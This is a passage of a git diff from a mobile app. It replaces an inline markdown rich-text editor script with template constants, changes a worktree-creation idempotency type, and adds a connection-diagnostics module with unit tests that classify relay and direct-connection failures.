-            output += '<a href="' + escapeAttr(token) + '">' + escapeHtml(token) + '</a>';
-          } else if (token.indexOf('\`') === 0) {
-            output += '<code>' + escapeHtml(token.slice(1, -1)) + '</code>';
-          } else if (token.indexOf('~~') === 0) {
-            output += '<s>' + renderInline(token.slice(2, -2)) + '</s>';
-          } else if (token.indexOf('**') === 0 || token.indexOf('__') === 0) {
-            output += '<strong>' + renderInline(token.slice(2, -2)) + '</strong>';
-          } else {
-            output += '<em>' + renderInline(token.slice(1, -1)) + '</em>';
-          }
-          lastIndex = pattern.lastIndex;
-        }
-        output += escapeHtml(text.slice(lastIndex));
-        return output;
-      }
-
-      function isBlockStart(line) {
-        return /^(\`\`\`|#{1,6}\\s+|>\\s?|\\s*(?:[-*+]|\\d+[.)])\\s+|\\s*(-{3,}|\\*{3,}|_{3,})\\s*$)/.test(line);
-      }
-
-      function indentationWidth(value) {
-        return String(value || '').replace(/\\t/g, '    ').length;
-      }
-
-      function parseListLine(line) {
-        var match = String(line || '').match(/^(\\s*)((?:[-*+])|(?:\\d+[.)]))\\s+(.+)$/);
-        if (!match) return null;
-        var rawText = match[3] || '';
-        var task = rawText.match(/^\\[([ xX])\\]\\s+(.+)$/);
-        return {
-          indent: indentationWidth(match[1] || ''),
-          ordered: /^\\d/.test(match[2] || ''),
-          orderedNumber: /^\\d/.test(match[2] || '') ? Number.parseInt(match[2], 10) : null,
-          task: task ? task[1].toLowerCase() === 'x' : null,
-          text: task ? task[2] : rawText,
-          children: []
-        };
-      }
-
-      function listKind(item) {
-        if (item.task !== null) return 'task';
-        return item.ordered ? 'ol' : 'ul';
-      }
-
-      function parseListTree(lines, startIndex) {
-        var root = { indent: -1, children: [] };
-        var stack = [root];
-        var index = startIndex;
-        while (index < lines.length) {
-          var item = parseListLine(lines[index] || '');
-          if (!item) break;
-          while (stack.length > 1 && item.indent <= stack[stack.length - 1].indent) {
-            stack.pop();
-          }
-          stack[stack.length - 1].children.push(item);
-          stack.push(item);
-          index += 1;
-        }
-        return { items: root.children, nextIndex: index };
-      }
-
-      function renderListItems(items) {
-        var html = [];
-        var index = 0;
-        while (index < items.length) {
-          var kind = listKind(items[index]);
-          var group = [];
-          while (index < items.length && listKind(items[index]) === kind) {
-            group.push(items[index]);
-            index += 1;
-          }
-          var tag = kind === 'ol' ? 'ol' : 'ul';
-          var attrs = kind === 'task' ? ' data-type="taskList"' : kind === 'ol' && group[0].orderedNumber !== null ? ' start="' + group[0].orderedNumber + '"' : '';
-          html.push('<' + tag + attrs + '>' + group.map(function (item) {
-            var children = item.children.length ? renderListItems(item.children) : '';
-            if (kind === 'task') {
-              var checked = item.task === true;
-              return '<li data-checked="' + String(checked) + '"><label contenteditable="false"><input type="checkbox" ' + (checked ? 'checked ' : '') + (editable ? '' : 'disabled ') + '/></label><div><p>' + renderInline(item.text) + '</p>' + children + '</div></li>';
-            }
-            var orderedAttrs = kind === 'ol' && item.orderedNumber !== null ? ' value="' + item.orderedNumber + '" data-list-number="' + item.orderedNumber + '"' : '';
-            return '<li' + orderedAttrs + '><p>' + renderInline(item.text) + '</p>' + children + '</li>';
-          }).join('') + '</' + tag + '>');
-        }
-        return html.join('');
-      }
-
-      function markdownToHtml(markdown) {
-        var lines = String(markdown || '').replace(/\\r\\n?/g, '\\n').split('\\n');
-        var html = [];
-        var index = 0;
-        while (index < lines.length) {
-          var line = lines[index] || '';
-          if (!line.trim()) {
-            index += 1;
-            continue;
-          }
-          var fence = line.match(/^\\\`\`\`([^\\s\`]*)\\s*$/);
-          if (fence) {
-            index += 1;
-            var code = [];
-            while (index < lines.length && !/^\\\`\`\`\\s*$/.test(lines[index] || '')) {
-              code.push(lines[index] || '');
-              index += 1;
-            }
-            if (index < lines.length) index += 1;
-            html.push('<pre data-language="' + escapeAttr(fence[1] || '') + '"><code>' + escapeHtml(code.join('\\n')) + '</code></pre>');
-            continue;
-          }
-          if (/^\\s*(-{3,}|\\*{3,}|_{3,})\\s*$/.test(line)) {
-            html.push('<hr />');
-            index += 1;
-            continue;
-          }
-          if (line.indexOf('|') >= 0 && index + 1 < lines.length && isTableSeparator(lines[index + 1] || '')) {
-            var headers = splitTableRow(line);
-            index += 2;
-            var rows = [];
-            while (index < lines.length && (lines[index] || '').indexOf('|') >= 0 && (lines[index] || '').trim()) {
-              rows.push(splitTableRow(lines[index] || ''));
-              index += 1;
-            }
-            html.push('<table><thead><tr>' + headers.map(function (cell) { return '<th>' + renderInline(cell) + '</th>'; }).join('') + '</tr></thead><tbody>' + rows.map(function (row) {
-              return '<tr>' + headers.map(function (_, cellIndex) { return '<td>' + renderInline(row[cellIndex] || '') + '</td>'; }).join('') + '</tr>';
-            }).join('') + '</tbody></table>');
-            continue;
-          }
-          var heading = line.match(/^(#{1,6})\\s+(.+)$/);
-          if (heading) {
-            html.push('<h' + heading[1].length + '>' + renderInline(heading[2].trim()) + '</h' + heading[1].length + '>');
-            index += 1;
-            continue;
-          }
-          if (/^>\\s?/.test(line)) {
-            var quote = [];
-            while (index < lines.length && /^>\\s?/.test(lines[index] || '')) {
-              quote.push((lines[index] || '').replace(/^>\\s?/, ''));
-              index += 1;
-            }
-            html.push('<blockquote><p>' + renderInline(quote.join('\\n').trim()).replace(/\\n/g, '<br />') + '</p></blockquote>');
-            continue;
-          }
-          if (/^\\s*(?:[-*+]|\\d+[.)])\\s+/.test(line)) {
-            var list = parseListTree(lines, index);
-            html.push(renderListItems(list.items));
-            index = list.nextIndex;
-            continue;
-          }
-          var paragraph = [];
-          while (index < lines.length && (lines[index] || '').trim() && !isBlockStart(lines[index] || '') && !(index + 1 < lines.length && (lines[index] || '').indexOf('|') >= 0 && isTableSeparator(lines[index + 1] || ''))) {
-            paragraph.push(lines[index] || '');
-            index += 1;
-          }
-          html.push('<p>' + renderInline(paragraph.join('\\n')).replace(/\\n/g, '<br />') + '</p>');
-        }
-        return html.join('\\n') || '<p class="is-empty"><br /></p>';
-      }
-
-      function textContent(node) {
-        return (node.textContent || '').replace(/\\u00a0/g, ' ');
-      }
-
-      function inlineMarkdown(node) {
-        if (!node) return '';
-        if (node.nodeType === Node.TEXT_NODE) return textContent(node);
-        if (node.nodeType !== Node.ELEMENT_NODE) return '';
-        var el = node;
-        var tag = el.tagName.toLowerCase();
-        if (tag === 'br') return '\\n';
-        if (tag === 'strong' || tag === 'b') return '**' + inlineChildren(el) + '**';
-        if (tag === 'em' || tag === 'i') return '*' + inlineChildren(el) + '*';
-        if (tag === 's' || tag === 'del' || tag === 'strike') return '~~' + inlineChildren(el) + '~~';
-        if (tag === 'code' && el.parentElement && el.parentElement.tagName.toLowerCase() !== 'pre') return '\`' + textContent(el) + '\`';
-        if (tag === 'a') return '[' + inlineChildren(el) + '](' + (el.getAttribute('href') || '') + ')';
-        if (tag === 'img') return '![' + (el.getAttribute('alt') || '') + '](' + (el.getAttribute('src') || '') + ')';
-        if (tag === 'label') return '';
-        return inlineChildren(el);
-      }
-
-      function inlineChildren(el) {
-        return Array.prototype.map.call(el.childNodes, inlineMarkdown).join('');
-      }
-
-      function listItemText(li) {
-        var clone = li.cloneNode(true);
-        Array.prototype.forEach.call(clone.querySelectorAll('label'), function (label) { label.remove(); });
-        Array.prototype.forEach.call(clone.querySelectorAll('ul, ol'), function (list) { list.remove(); });
-        return inlineChildren(clone).trim();
-      }
-
-      function directNestedLists(li) {
-        return Array.prototype.filter.call(li.querySelectorAll('ul, ol'), function (list) {
-          return list.closest('li') === li;
-        });
-      }
-
-      function listMarkdown(el, depth) {
-        var tag = el.tagName.toLowerCase();
-        var isTask = el.getAttribute('data-type') === 'taskList';
-        var orderedStart = tag === 'ol' ? Number.parseInt(el.getAttribute('start') || '1', 10) : 1;
-        if (!Number.isFinite(orderedStart)) orderedStart = 1;
-        var indent = '  '.repeat(depth);
-        return Array.prototype.map.call(el.children, function (li, index) {
-          if (li.tagName.toLowerCase() !== 'li') return '';
-          var marker;
-          if (isTask) {
-            var input = li.querySelector('input[type="checkbox"]');
-            marker = '- [' + (input && input.checked ? 'x' : ' ') + '] ';
-          } else {
-            var listNumber =
-              li.getAttribute &&
-              (li.getAttribute('data-list-number') || li.getAttribute('value'));
-            marker = tag === 'ol' ? String(listNumber || orderedStart + index) + '. ' : '- ';
-          }
-          var line = indent + marker + listItemText(li);
-          var nested = directNestedLists(li).map(function (list) {
-            return listMarkdown(list, depth + 1);
-          }).filter(Boolean).join('\\n');
-          return nested ? line + '\\n' + nested : line;
-        }).filter(Boolean).join('\\n');
-      }
-
-      function blockMarkdown(node) {
-        if (node.nodeType === Node.TEXT_NODE) return textContent(node).trim();
-        if (node.nodeType !== Node.ELEMENT_NODE) return '';
-        var el = node;
-        var tag = el.tagName.toLowerCase();
-        if (tag.match(/^h[1-6]$/)) return '#'.repeat(Number(tag.slice(1))) + ' ' + inlineChildren(el).trim();
-        if (tag === 'p' || tag === 'div') return inlineChildren(el).trim();
-        if (tag === 'blockquote') {
-          return inlineChildren(el).trim().split('\\n').map(function (line) { return '> ' + line; }).join('\\n');
-        }
-        if (tag === 'pre') {
-          var lang = el.getAttribute('data-language') || '';
-          var code = textContent(el.querySelector('code') || el).replace(/\\n+$/g, '');
-          return '\`\`\`' + lang + '\\n' + code + '\\n\`\`\`';
-        }
-        if (tag === 'ul' || tag === 'ol') {
-          return listMarkdown(el, 0);
-        }
-        if (tag === 'table') {
-          var rows = Array.prototype.slice.call(el.querySelectorAll('tr'));
-          if (rows.length === 0) return '';
-          var cellsFor = function (row) {
-            return Array.prototype.map.call(row.children, function (cell) { return inlineChildren(cell).trim(); });
-          };
-          var headers = cellsFor(rows[0]);
-          var bodyRows = rows.slice(1).map(cellsFor);
-          return '| ' + headers.join(' | ') + ' |\\n| ' + headers.map(function () { return '---'; }).join(' | ') + ' |' + (bodyRows.length ? '\\n' + bodyRows.map(function (row) { return '| ' + row.join(' | ') + ' |'; }).join('\\n') : '');
-        }
-        if (tag === 'hr') return '---';
-        if (tag === 'img') return inlineMarkdown(el);
-        return inlineChildren(el).trim();
-      }
-
-      function currentMarkdown() {
-        return Array.prototype.map.call(editor.childNodes, blockMarkdown).filter(function (block) {
-          return block.trim().length > 0;
-        }).join('\\n\\n').trimEnd();
-      }
-
-      function syncTaskCheckboxesDisabled() {
-        Array.prototype.forEach.call(editor.querySelectorAll('input[type="checkbox"]'), function (input) {
-          input.disabled = !editable;
-        });
-      }
-
-      function emitChange() {
-        if (suppressInput || !editable) return;
-        window.clearTimeout(inputTimer);
-        var pendingGeneration = documentGeneration;
-        lastMarkdown = currentMarkdown();
-        post({ type: 'change', markdown: lastMarkdown, generation: pendingGeneration });
-      }
-
-      function setMarkdown(markdown, generation) {
-        window.clearTimeout(inputTimer);
-        documentGeneration = Number(generation) || 0;
-        suppressInput = true;
-        // Why: replacing innerHTML detaches the remembered caret's nodes.
-        savedSelectionRange = null;
-        selectionDroppedOnBlur = false;
-        lastMarkdown = String(markdown || '');
-        editor.innerHTML = markdownToHtml(lastMarkdown);
-        syncTaskCheckboxesDisabled();
-        suppressInput = false;
-      }
-
-      function setEditable(nextEditable) {
-        editable = Boolean(nextEditable);
-        editor.setAttribute('contenteditable', editable ? 'true' : 'false');
-        syncTaskCheckboxesDisabled();
-      }
-
-${MOBILE_RICH_MARKDOWN_SELECTION_SCRIPT}
-${MOBILE_RICH_MARKDOWN_KEYBOARD_DISMISS_SCRIPT}
-      function runCommand(command) {
-        if (!editable || editor.getAttribute('contenteditable') !== 'true') return;
-        restoreSelectionOrEnd();
-        if (command === 'paragraph') document.execCommand('formatBlock', false, 'p');
-        else if (command === 'heading1') document.execCommand('formatBlock', false, 'h1');
-        else if (command === 'heading2') document.execCommand('formatBlock', false, 'h2');
-        else if (command === 'heading3') document.execCommand('formatBlock', false, 'h3');
-        else if (command === 'bold') document.execCommand('bold');
-        else if (command === 'italic') document.execCommand('italic');
-        else if (command === 'strike') document.execCommand('strikeThrough');
-        else if (command === 'bulletList') document.execCommand('insertUnorderedList');
-        else if (command === 'orderedList') document.execCommand('insertOrderedList');
-        else if (command === 'quote') document.execCommand('formatBlock', false, 'blockquote');
-        else if (command === 'inlineCode') wrapSelection('code');
-        else if (command === 'codeBlock') document.execCommand('insertHTML', false, '<pre data-language=""><code>code</code></pre><p><br></p>');
-        else if (command === 'taskList') document.execCommand('insertHTML', false, '<ul data-type="taskList"><li data-checked="false"><label contenteditable="false"><input type="checkbox" /></label><div><p>Task</p></div></li></ul>');
-        else if (command === 'link') {
-          var href = window.prompt('Link URL');
-          if (href && isSafeUrl(href)) document.execCommand('createLink', false, href);
-        } else if (command === 'image') {
-          var src = window.prompt('Image URL');
-          if (src && isSafeUrl(src)) document.execCommand('insertImage', false, src);
-        }
-        syncTaskCheckboxesDisabled();
-        emitChange();
-      }
-
-      editor.addEventListener('input', function () {
-        selectionDroppedOnBlur = false;
-        if (editable) emitChange();
-      });
-      editor.addEventListener('change', function (event) {
-        var input = event.target && event.target.closest && event.target.closest('input[type="checkbox"]');
-        if (input) {
-          if (!editable) {
-            event.preventDefault();
-            return;
-          }
-          var li = input.closest('li');
-          if (li) li.setAttribute('data-checked', input.checked ? 'true' : 'false');
-        }
-        if (editable) emitChange();
-      });
-      editor.addEventListener('click', function (event) {
-        var link = event.target && event.target.closest && event.target.closest('a[href]');
-        if (link) {
-          event.preventDefault();
-          post({ type: 'openLink', url: link.getAttribute('href') || '' });
-          return;
-        }
-        var input = event.target && event.target.closest && event.target.closest('input[type="checkbox"]');
-        if (!input) {
-          if (!editable) return;
-          // Why: a task-list label forwards its click to the checkbox, so refocusing here would steal it and re-open the keyboard.
-          var uneditable = event.target && event.target.closest && event.target.closest('[contenteditable="false"]');
-          if (uneditable && uneditable !== editor) return;
-          selectionDroppedOnBlur = false;
-          if (document.activeElement === editor) return;
-          // Why: refocusing after a dismissal otherwise types at the stale caret, not where the user tapped.
-          var caret = caretRangeAtPoint(event.clientX, event.clientY);
-          focusEditor();
-          if (caret && editor.contains(caret.commonAncestorContainer)) applySelectionRange(caret);
-          return;
-        }
-        if (!editable) {
-          event.preventDefault();
-          return;
-        }
-        var li = input.closest('li');
-        if (li) li.setAttribute('data-checked', input.checked ? 'true' : 'false');
-        emitChange();
-      });
-      editor.addEventListener('keydown', function (event) {
-        if ((event.metaKey || event.ctrlKey) && event.key.toLowerCase() === 'b') {
-          event.preventDefault();
-          runCommand('bold');
-        }
-      });
-
-      window.__orcaRichMarkdown = { setMarkdown: setMarkdown, setEditable: setEditable, runCommand: runCommand, currentMarkdown: currentMarkdown, dismissKeyboard: dismissKeyboard };
-${MOBILE_RICH_MARKDOWN_KEYBOARD_INSET_SCRIPT}
-      post({ type: 'ready' });
-    })();
-  </script>
-</body>
-</html>`
+      --accent-link: ${colors.accentBlue}${MOBILE_RICH_MARKDOWN_EDITOR_BODY_PRIMARY}
+${MOBILE_RICH_MARKDOWN_EDITOR_BODY_SECONDARY}${MOBILE_RICH_MARKDOWN_SELECTION_SCRIPT}
+${MOBILE_RICH_MARKDOWN_KEYBOARD_DISMISS_SCRIPT}${MOBILE_RICH_MARKDOWN_EDITOR_AFTER_KEYBOARD_DISMISS}${MOBILE_RICH_MARKDOWN_KEYBOARD_INSET_SCRIPT}${MOBILE_RICH_MARKDOWN_EDITOR_DOCUMENT_END}`
 }
diff --git a/mobile/src/components/use-new-workspace-create-submit.ts b/mobile/src/components/use-new-workspace-create-submit.ts
index 14d9f9bfae0..1ab3ac5d5c4 100644
--- a/mobile/src/components/use-new-workspace-create-submit.ts
+++ b/mobile/src/components/use-new-workspace-create-submit.ts
@@ -16,6 +16,7 @@ import { normalizeWorkspaceAgent } from '../tasks/workspace-agent-selection'
 import type { WorkspaceCreateSetupDecision } from '../tasks/workspace-create-params'
 import type { WorkspaceSshGate } from '../tasks/workspace-ssh-gate'
 import type { useMobileComposerSource } from '../tasks/use-mobile-composer-source'
+import type { WorktreeCreateIdempotencySupport } from '../tasks/worktree-create-idempotency-policy'
 import {
   pickPreferredNewWorktreeAgent,
   type NewWorktreeAgentOption,
@@ -54,7 +55,7 @@ export function useNewWorkspaceCreateSubmit(args: {
   runSetup: boolean
   trustedOrcaHooks: PersistedTrustedOrcaHooks
   setTrustedOrcaHooks: (trust: PersistedTrustedOrcaHooks) => void
-  getWorktreeCreateCutoverSupport: () => Promise<boolean>
+  getWorktreeCreateCutoverSupport: () => Promise<WorktreeCreateIdempotencySupport | false>
   transitionDrawer: (view: Exclude<NewWorktreeDrawerView, 'transition'>) => void
   setError: Dispatch<SetStateAction<string>>
   onCreated: (worktreeId: string, name: string) => void
@@ -163,7 +164,7 @@ export function useNewWorkspaceCreateSubmit(args: {
             workspaceName: trimmedName || undefined,
             note: trimmedNote,
             nameIsAutoManaged: args.composer.isNameAutoManaged,
-            supportsIdempotentCutoverRetry: args.getWorktreeCreateCutoverSupport()
+            worktreeCreateIdempotency: args.getWorktreeCreateCutoverSupport()
           })
         : await createBlankWorkspace({
             client,
@@ -173,7 +174,7 @@ export function useNewWorkspaceCreateSubmit(args: {
             createdWithAgentId,
             comment: trimmedNote,
             setupDecision,
-            supportsIdempotentCutoverRetry: args.getWorktreeCreateCutoverSupport()
+            worktreeCreateIdempotency: args.getWorktreeCreateCutoverSupport()
           })
       if ('error' in result) {
         args.setError(result.error)
diff --git a/mobile/src/diagnostics/connection-diagnostics-analysis.test.ts b/mobile/src/diagnostics/connection-diagnostics-analysis.test.ts
new file mode 100644
index 00000000000..762d82b10d5
--- /dev/null
+++ b/mobile/src/diagnostics/connection-diagnostics-analysis.test.ts
@@ -0,0 +1,240 @@
+import { describe, expect, it } from 'vitest'
+import {
+  diagnoseConnection,
+  getReportableConnectionIncidentId
+} from './connection-diagnostics-analysis'
+import type { ConnectionLogEntry } from '../transport/types'
+
+function event(message: string, detail?: string): ConnectionLogEntry {
+  return { id: message, ts: 1, level: 'error', message, detail }
+}
+
+describe('diagnoseConnection', () => {
+  it('reports the current healthy path instead of a historical failure', () => {
+    expect(
+      diagnoseConnection({
+        endpoint: 'ws://100.88.90.25:6768',
+        state: 'connected',
+        activePath: 'relay',
+        entries: [event('WebSocket connect timeout')]
+      })
+    ).toEqual({
+      likelyCause: 'Connection is healthy via Relay.',
+      nextStep: 'No action needed.',
+      reportability: 'none'
+    })
+  })
+
+  it('distinguishes an invalid Relay credential from a transient outage', () => {
+    expect(
+      diagnoseConnection({
+        endpoint: 'ws://100.88.90.25:6768',
+        state: 'reconnecting',
+        pendingPath: 'relay',
+        entries: [event('Relay: relay dial failed', 'relay director resolve failed (401)')]
+      })
+    ).toEqual({
+      likelyCause: 'Relay rejected the saved resume credential.',
+      nextStep: 'Try a direct connection; if Relay keeps returning 401, pair this device again.',
+      reportability: 'none'
+    })
+  })
+
+  it('identifies the direct Tailscale timeout while Relay recovery is pending', () => {
+    expect(
+      diagnoseConnection({
+        endpoint: 'ws://100.88.90.25:6768',
+        state: 'reconnecting',
+        activePath: 'tailscale',
+        pendingPath: 'relay',
+        entries: [event('WebSocket connect timeout')]
+      })
+    ).toEqual({
+      likelyCause: 'The saved Tailscale endpoint did not answer before the connection timeout.',
+      nextStep: 'Relay recovery is in progress; keep Orca open while it retries.',
+      reportability: 'none'
+    })
+  })
+
+  it('identifies an authenticated Relay liveness failure', () => {
+    expect(
+      diagnoseConnection({
+        endpoint: 'ws://192.168.1.2:6768',
+        state: 'reconnecting',
+        activePath: 'relay',
+        entries: [
+          {
+            ...event('Relay health check failed'),
+            code: 'liveness-timeout',
+            path: 'relay'
+          }
+        ]
+      })
+    ).toEqual({
+      likelyCause: 'Relay stopped answering authenticated health checks.',
+      nextStep: 'Orca closed the stale session and started recovery.',
+      reportability: 'orca-relay'
+    })
+  })
+
+  it('separates an active Relay close from a failed Relay dial', () => {
+    expect(
+      diagnoseConnection({
+        endpoint: 'ws://192.168.1.2:6768',
+        state: 'reconnecting',
+        activePath: 'relay',
+        entries: [
+          {
+            ...event('Relay: active relay session failed', 'RelayOuterError: close code 4408'),
+            code: 'relay-session-failed',
+            path: 'relay'
+          }
+        ]
+      })
+    ).toEqual({
+      likelyCause: 'The active Relay session closed unexpectedly.',
+      nextStep: 'Orca started Relay recovery; the event history includes the cell close reason.',
+      reportability: 'orca-relay'
+    })
+  })
+
+  it('marks authenticated Relay liveness failures as safe to send', () => {
+    expect(
+      diagnoseConnection({
+        endpoint: 'ws://192.168.1.2:6768',
+        state: 'reconnecting',
+        activePath: 'relay',
+        entries: [
+          {
+            ...event('Relay health check failed'),
+            code: 'liveness-timeout',
+            path: 'relay'
+          }
+        ]
+      }).reportability
+    ).toBe('orca-relay')
+  })
+
+  it.each([
+    ['direct timeout', 'connect-timeout', 'tailscale'],
+    ['handshake timeout', 'handshake-timeout', 'relay'],
+    ['invalid credential', 'relay director resolve failed (401)', 'relay'],
+    ['ambiguous recovery', 'retry scheduled', 'relay']
+  ] as const)('does not offer submission for %s', (_name, message, path) => {
+    expect(
+      diagnoseConnection({
+        endpoint: 'ws://100.88.90.25:6768',
+        state: 'reconnecting',
+        pendingPath: 'relay',
+        entries: [{ ...event(message), path }]
+      }).reportability
+    ).toBe('none')
+  })
+
+  it('does not offer submission for a bounded Relay director outage', () => {
+    expect(
+      diagnoseConnection({
+        endpoint: 'ws://100.88.90.25:6768',
+        state: 'reconnecting',
+        pendingPath: 'relay',
+        entries: [event('Relay: relay dial failed', 'relay director resolve failed (503)')]
+      }).reportability
+    ).toBe('none')
+  })
+
+  it('classifies the newest failure instead of an older persisted 401', () => {
+    expect(
+      diagnoseConnection({
+        endpoint: 'ws://100.88.90.25:6768',
+        state: 'reconnecting',
+        pendingPath: 'relay',
+        entries: [
+          event('Relay: relay dial failed', 'relay director resolve failed (401)'),
+          { ...event('WebSocket connect timeout'), id: 'newer', ts: 2, code: 'connect-timeout' }
+        ]
+      }).likelyCause
+    ).toBe('The saved Tailscale endpoint did not answer before the connection timeout.')
+  })
+
+  it('requires structured Relay evidence before offering submission', () => {
+    expect(
+      diagnoseConnection({
+        endpoint: 'ws://192.168.1.2:6768',
+        state: 'reconnecting',
+        activePath: 'relay',
+        entries: [event('active relay session failed')]
+      }).reportability
+    ).toBe('none')
+  })
+
+  it('ignores failures from before the current app resume boundary', () => {
+    expect(
+      diagnoseConnection({
+        endpoint: 'ws://192.168.1.2:6768',
+        state: 'connecting',
+        activePath: 'lan',
+        entries: [
+          {
+            ...event('Relay health check failed'),
+            code: 'liveness-timeout',
+            path: 'relay'
+          },
+          {
+            ...event('App returned to foreground'),
+            id: 'resume',
+            ts: 2,
+            code: 'app-resumed'
+          },
+          { ...event('WebSocket closed'), id: 'closed', ts: 3, code: 'socket-closed' }
+        ]
+      }).reportability
+    ).toBe('none')
+  })
+
+  it('uses a structured direct liveness path ahead of the current active path', () => {
+    expect(
+      diagnoseConnection({
+        endpoint: 'ws://192.168.1.2:6768',
+        state: 'reconnecting',
+        activePath: 'relay',
+        entries: [
+          {
+            ...event('Connection health check failed'),
+            code: 'liveness-timeout',
+            path: 'lan'
+          }
+        ]
+      })
+    ).toEqual({
+      likelyCause: 'The connected host stopped answering authenticated health checks.',
+      nextStep: 'Orca closed the stale session and started recovery.',
+      reportability: 'none'
+    })
+  })
+
+  it('keys reportability to the current structured incident', () => {
+    const args = {
+      endpoint: 'ws://192.168.1.2:6768',
+      state: 'reconnecting' as const,
+      activePath: 'relay' as const,
+      entries: [
+        { ...event('Authenticated'), code: 'direct-connected' as const, path: 'lan' as const },
+        {
+          ...event('Relay health check failed'),
+          id: 'current-relay-failure',
+          ts: 2,
+          code: 'liveness-timeout' as const,
+          path: 'relay' as const
+        }
+      ]
+    }
+
+    expect(getReportableConnectionIncidentId(args)).toBe('current-relay-failure')
+    expect(
+      getReportableConnectionIncidentId({
+        ...args,
+        entries: [...args.entries, { ...event('Network changed'), ts: 3, code: 'network-changed' }]
+      })
+    ).toBeNull()
+  })
+})
diff --git a/mobile/src/diagnostics/connection-diagnostics-analysis.ts b/mobile/src/diagnostics/connection-diagnostics-analysis.ts
new file mode 100644
index 00000000000..117f52e236b
--- /dev/null
+++ b/mobile/src/diagnostics/connection-diagnostics-analysis.ts
@@ -0,0 +1,168 @@
+import { isTailscaleEndpoint } from '../../../src/shared/remote-runtime-tailscale-hint'
+import type {
+  ConnectionLogEntry,
+  ConnectionState,
+  MobileConnectionDiagnosticPath
+} from '../transport/types'
+
+export type ConnectionDiagnosis = {
+  likelyCause: string
+  nextStep: string
+  reportability: 'none' | 'orca-relay'
+}
+
+type DiagnoseConnectionArgs = {
+  endpoint: string
+  state: ConnectionState
+  activePath?: MobileConnectionDiagnosticPath
+  pendingPath?: MobileConnectionDiagnosticPath | null
+  entries: readonly ConnectionLogEntry[]
+}
+
+export function diagnoseConnection(args: DiagnoseConnectionArgs): ConnectionDiagnosis {
+  if (args.state === 'connected') {
+    return {
+      likelyCause: `Connection is healthy${args.activePath ? ` via ${formatPath(args.activePath)}` : ''}.`,
+      nextStep: 'No action needed.',
+      reportability: 'none'
+    }
+  }
+  const failure = findCurrentDiagnosticFailure(args.entries)
+  const evidence = failure ? `${failure.code ?? ''} ${failure.message} ${failure.detail ?? ''}` : ''
+
+  if (/relay director resolve failed \(401\)/i.test(evidence)) {
+    return {
+      likelyCause: 'Relay rejected the saved resume credential.',
+      nextStep: 'Try a direct connection; if Relay keeps returning 401, pair this device again.',
+      reportability: 'none'
+    }
+  }
+
+  if (/relay director resolve failed \(503\)/i.test(evidence)) {
+    const retryMs = parseRetryDelayMs(evidence)
+    return {
+      likelyCause: `Relay service was temporarily unavailable${retryMs == null ? '.' : ` and asked Orca to retry in ${formatDelay(retryMs)}.`}`,
+      nextStep: 'Keep Orca open; recovery should retry automatically.',
+      reportability: 'none'
+    }
+  }
+
+  if (/liveness-timeout|liveness timeout|connection health check failed/i.test(evidence)) {
+    const relayLiveness = failure?.code === 'liveness-timeout' && failure.path === 'relay'
+    const structuredDirectLiveness =
+      failure?.code === 'liveness-timeout' &&
+      (failure.path === 'lan' || failure.path === 'tailscale')
+    const path =
+      relayLiveness || (!structuredDirectLiveness && args.activePath === 'relay')
+        ? 'Relay'
+        : 'The connected host'
+    return {
+      likelyCause: `${path} stopped answering authenticated health checks.`,
+      nextStep: 'Orca closed the stale session and started recovery.',
+      reportability: relayLiveness ? 'orca-relay' : 'none'
+    }
+  }
+
+  if (/relay-session-failed|active relay session failed/i.test(evidence)) {
+    return {
+      likelyCause: 'The active Relay session closed unexpectedly.',
+      nextStep: 'Orca started Relay recovery; the event history includes the cell close reason.',
+      reportability:
+        failure?.code === 'relay-session-failed' && failure.path === 'relay' ? 'orca-relay' : 'none'
+    }
+  }
+
+  if (/authentication-rejected|unauthorized|pairing may be revoked/i.test(evidence)) {
+    return {
+      likelyCause: 'The desktop rejected this device during authentication.',
+      nextStep: 'Confirm the device is still paired; pair it again if the rejection repeats.',
+      reportability: 'none'
+    }
+  }
+
+  if (/connect-timeout|websocket connect timeout/i.test(evidence)) {
+    return {
+      likelyCause: isTailscaleEndpoint(args.endpoint)
+        ? 'The saved Tailscale endpoint did not answer before the connection timeout.'
+        : 'The saved direct endpoint did not answer before the connection timeout.',
+      nextStep:
+        args.pendingPath === 'relay'
+          ? 'Relay recovery is in progress; keep Orca open while it retries.'
+          : 'Check the local/VPN network and confirm the desktop is awake.',
+      reportability: 'none'
+    }
+  }
+
+  if (/handshake-timeout|handshake timeout/i.test(evidence)) {
+    return {
+      likelyCause: 'The endpoint opened, but the encrypted Orca handshake did not finish.',
+      nextStep: 'Confirm the desktop is running a compatible Orca version and retry.',
+      reportability: 'none'
+    }
+  }
+
+  if (args.pendingPath === 'relay') {
+    return {
+      likelyCause: 'Relay recovery is selected, but no more specific failure is recorded yet.',
+      nextStep: 'Keep this page open while the next recovery event is recorded.',
+      reportability: 'none'
+    }
+  }
+
+  return {
+    likelyCause: 'No single failure cause can be determined from the recorded events.',
+    nextStep: 'Run diagnostics and copy the report again after the next connection attempt.',
+    reportability: 'none'
+  }
+}
+
+export function getReportableConnectionIncidentId(args: DiagnoseConnectionArgs): string | null {
+  if (diagnoseConnection(args).reportability !== 'orca-relay') {
+    return null
+  }
+  return findCurrentDiagnosticFailure(args.entries)?.id ?? null
+}
+
+function findCurrentDiagnosticFailure(
+  entries: readonly ConnectionLogEntry[]
+): ConnectionLogEntry | undefined {
+  const boundaryIndex = entries.findLastIndex(isDiagnosticBoundary)
+  return entries
+    .slice(boundaryIndex + 1)
+    .toReversed()
+    .find(isDiagnosticFailure)
+}
+
+function isDiagnosticBoundary(entry: ConnectionLogEntry): boolean {
+  return (
+    entry.code === 'client-session-started' ||
+    entry.code === 'app-resumed' ||
+    entry.code === 'network-changed' ||
+    entry.code === 'relay-connected' ||
+    entry.code === 'direct-connected' ||
+    entry.message === 'Authenticated'
+  )
+}
+
+function isDiagnosticFailure(entry: ConnectionLogEntry): boolean {
+  const evidence = `${entry.code ?? ''} ${entry.message} ${entry.detail ?? ''}`
+  return /relay director resolve failed \((?:401|503)\)|liveness-timeout|liveness timeout|connection health check failed|relay-session-failed|active relay session failed|authentication-rejected|unauthorized|pairing may be revoked|connect-timeout|websocket connect timeout|handshake-timeout|handshake timeout/i.test(
+    evidence
+  )
+}
+
+function parseRetryDelayMs(evidence: string): number | null {
+  const match = /retry(?:-|\s)?after(?:=|\s)(\d+)ms/i.exec(evidence)
+  return match ? Number(match[1]) : null
+}
+
+function formatDelay(ms: number): string {
+  return ms < 60_000 ? `${Math.round(ms / 1000)}s` : `${Math.round(ms / 60_000)}m`
+}
+
+function formatPath(path: MobileConnectionDiagnosticPath): string {
+  if (path === 'relay') {
+    return 'Relay'
+  }
+  return path === 'tailscale' ? 'Tailscale/direct' : 'LAN/direct'
+}
